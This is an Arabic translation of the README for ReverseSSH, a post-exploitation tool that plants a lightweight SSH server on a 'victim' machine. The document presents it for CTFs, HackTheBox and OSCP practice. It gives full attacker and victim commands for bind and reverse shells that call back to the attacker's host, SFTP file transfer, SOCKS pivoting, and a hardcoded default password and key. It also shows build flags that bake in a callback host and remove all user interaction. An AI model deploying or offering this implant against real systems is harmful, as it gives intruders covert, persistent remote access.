
خادم SSH مرتبط بشكل ثابت مع وظائف شل عكسية لمسابقات CTF وما شابه
مُخدّم SSH مرتبط بشكل ثابت مع ميزة اتصال عكسي للوصول عن بُعد بسيط وقوي. الأكثر فائدة خلال تحديات HackTheBox وCTFs أو ما شابه ذلك.
تم تطويره واستُخدم بشكل مكثف خلال التحضير لامتحان OSCP.

الحصول على شيل عكسي باستخدام netcat رائع، بالتأكيد، ولكن من لم يُغلق بالخطأ شيلاً عكسياً بسبب مقاطعة لوحة المفاتيح من الذاكرة العضلية؟ إلى جانب هشاشتها، غالبًا ما تفتقر هذه الشيلات إلى ميزات الراحة مثل الوصول التفاعلي الكامل، الإكمال التلقائي (TAB-completion) أو التاريخ.
بدلاً من ذلك، يمكنك ببساطة نشر مُخدّم SSH خفيف الوزن (أقل من 1.5 ميجابايت) reverse-ssh على الهدف، واستخدام خدمات إضافية مثل نقل الملفات وتوجيه المنافذ!
يحاول ReverseSSH سد الفجوة بين الوصول الأولي إلى الهدف ورفع الامتيازات المحلية الكاملة. نقاط قوته الرئيسية هي التالية:
تحذيرات ويندوز
يعتمد powershell التفاعلي الكامل على ويندوز على Windows Pseudo Console ConPTY وبالتالي يتطلب على الأقل Win10 Build 17763.
في الإصدارات الأقدم، لا يزال بإمكانك الحصول على شيل عكسي تفاعلي لا يمكنه التعامل مع رموز الطرفية الافتراضية مثل مفاتيح الأسهم أو مقاطعات لوحة المفاتيح.
في هذه الحالات، عليك إضافة الأمر cmd، أي ssh <OPTIONS> <IP> cmd.
يمكنك تحقيق وصول شيل تفاعلي كامل لإصدارات ويندوز الأقدم بوضع ssh-shellhost.exe من OpenSSH لويندوز في نفس المجلد الذي يحتوي على reverse-ssh ثم استخدام العلامة -s ssh-shellhost.exe.
سيؤدي هذا إلى توجيه كل الحركة عبر ssh-shellhost.exe، الذي يحاكي pty ويحول جميع رموز الطرفية الافتراضية بحيث تستطيع ويندوز فهمها.
يعتمد تنفيذ الملفات الثنائية المقدمة ببساطة على متطلبات نظام golang.
باختصار:
يتطلب التجميع أيضًا ما يلي:
upx للضغط (مثل apt install upx-ucl)بمجرد تشغيل reverse-ssh على الضحية، يمكنك الاتصال بأي اسم مستخدم وكلمة المرور الافتراضية letmeinbrudipls، أو مفتاح ssh، أو أي شيء حددته أثناء التجميع.
بعد كل شيء، هو مجرد مُخدّم ssh:
# Fully interactive shell access
$ ssh -p <RPORT> <RHOST>
# Simple command execution
$ ssh -p <RPORT> <RHOST> whoami
# Full-fledged file transfers
$ sftp -P <RPORT> <RHOST>
# Dynamic port forwarding as SOCKS proxy on port 9050
$ ssh -p <RPORT> -D 9050 <RHOST>
# Victim
victim$ ./reverse-ssh
# Attacker (default password: letmeinbrudipls)
attacker$ ssh -p 31337 <RHOST>
ملاحظة: يمكنك تجميع ReverseSSH مع معاملات LHOST وLPORT لتسهيل التنفيذ على الهدف، انظر أدناه
# On attacker (get ready to catch the incoming request;
# can be omitted if you already have an ssh daemon running, e.g. OpenSSH)
# NOTE: LPORT of 8888 collides with incoming connections; use the flag `-b 8889` or similar on the victim in that case
attacker$ ./reverse-ssh -v -l -p <LPORT>
# On victim
victim$ ./reverse-ssh -p <LPORT> <LHOST>
# or in case of an ssh daemon listening at port 22 with password authentication for user 'kali'
victim$ ./reverse-ssh -p 22 kali@<LHOST>
# On attacker (default password: letmeinbrudipls)
attacker$ ssh -p 8888 127.0.0.1
# or with ssh config from below
attacker$ ssh target
في النهاية هو ssh عادي، لذا يمكنك التقاط استدعاء توجيه المنفذ البعيد القادم من جهاز الضحية باستخدام خادم openssh الخاص بك الذي يستمع على المنفذ 22.
فقط أضف <USER>@ في البداية وقدم كلمة المرور عندما يُطلب منك ذلك.
الاتصال بالمركز حاليًا يعتمد فقط على كلمة المرور، لأنني لم أشعر برغبة في تضمين مفتاح خاص أيضًا بعد...
لمزيد من الراحة، أضف ما يلي إلى ~/.ssh/config، انسخ مفتاح ssh الخاص إلى ~/.ssh/ ثم اتصل ببساطة بـ ssh target أو sftp target بعد ذلك:
Host target
Hostname 127.0.0.1
Port 8888
IdentityFile ~/.ssh/id_reverse-ssh
IdentitiesOnly yes
StrictHostKeyChecking no
UserKnownHostsFile /dev/null
reverseSSH v1.2.0 Copyright (C) 2021 Ferdinor <[email protected]>
Usage: reverse-ssh [options] [[<user>@]<target>]
Examples:
Bind:
reverse-ssh -l
reverse-ssh -v -l -p 4444
Reverse:
reverse-ssh 192.168.0.1
reverse-ssh [email protected]
reverse-ssh -p 31337 192.168.0.1
reverse-ssh -v -b 0 [email protected]
Options:
-l, Start reverseSSH in listening mode (overrides reverse scenario)
-p, Port at which reverseSSH is listening for incoming ssh connections (bind scenario)
or where it tries to establish a ssh connection (reverse scenario) (default: 31337)
-b, Reverse scenario only: bind to this port after dialling home (default: 8888)
-s, Shell to spawn for incoming connections, e.g. /bin/bash; (default: /bin/bash)
for windows this can only be used to give a path to 'ssh-shellhost.exe' to
enhance pre-Windows10 shells (e.g. '-s ssh-shellhost.exe' if in same directory)
-N, Deny all incoming shell/exec/subsystem and local port forwarding requests
(if only remote port forwarding is needed, e.g. when catching reverse connections)
-v, Emit log output
<target>
Optional target which enables the reverse scenario. Can be prepended with
<user>@ to authenticate as a different user other than 'reverse' while dialling home
Credentials:
Accepting all incoming connections from any user with either of the following:
* Password "letmeinbrudipls"
* PubKey "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKlbJwr+ueQ0gojy4QWr2sUWcNC/Y9eV9RdY3PLO7Bk/ Brudi"
تأكد من تثبيت المتطلبات المذكورة أعلاه مثل golang بإصدار متوافق وإعدادها بشكل صحيح.
بعد ذلك، يمكنك التجميع باستخدام make، والذي سينشئ ملفات ثنائية ثابتة في bin.
استخدم make compressed لضغط الملفات الثنائية باستخدام upx لتقليل حجمها أكثر.
$ make
# or to additionally created binaries packed with upx
$ make compressed
يمكنك أيضًا تحديد واحد أو أكثر من المتغيرات البيئية التالية عند التجميع لتخصيص ReverseSSH حسب حالتك:
RS_SHELL لتغيير الشيل الافتراضيRS_PASS لتقديم كلمة المرور المخصصة لكRS_PUB لتقديم مفتاح مصرح به مخصصLUSER لتغيير اسم المستخدم الافتراضي لمحاولة اتصال sshLHOST لتقديم قيمة LHOST افتراضية وجعل ReverseSSH يتجه إلى السيناريو العكسي افتراضيًاLPORT لتغيير منفذ الاستماع الافتراضي أو المنفذ الذي تُرسل إليه محاولة اتصال sshBPORT لتغيير منفذ الاستماع الافتراضي للاتصالات العكسية على جهاز المهاجم؛ 0 يعني أي منفذ حر يُستخدمNOCLI مع أي قيمة يزيل جميع التفاعلات الموجهة للمستخدم (يتجاهل الثنائي جميع العلامات أو الوسائط المقدمة)$ ssh-keygen -t ed25519 -f id_reverse-ssh
$ RS_SHELL="/bin/sh" RS_PASS="secret" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed
$ LHOST="192.168.0.10" LPORT="443" BPORT="0" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed
افتراضيًا، يتم تجميع reverse-ssh لنظام التشغيل والمعمارية الحاليين، بالإضافة إلى لينكس وويندوز في x86 وx64.
للتجميع لمعماريات أخرى أو نظام تشغيل آخر، يمكنك تقديم متغيرات بيئية تطابق هدفك، على سبيل المثال لينكس/arm64:
$ GOARCH=arm64 GOOS=linux make compressed
يمكن الحصول على قائمة بالأهداف المتاحة بتنسيق OS/arch عبر go tool dist list.
هل تفتقد ميزة مذهلة؟ هل أي شيء لا يعمل كما هو مقصود؟
أنشئ مشكلة (issue) أو طلب سحب (pull request)!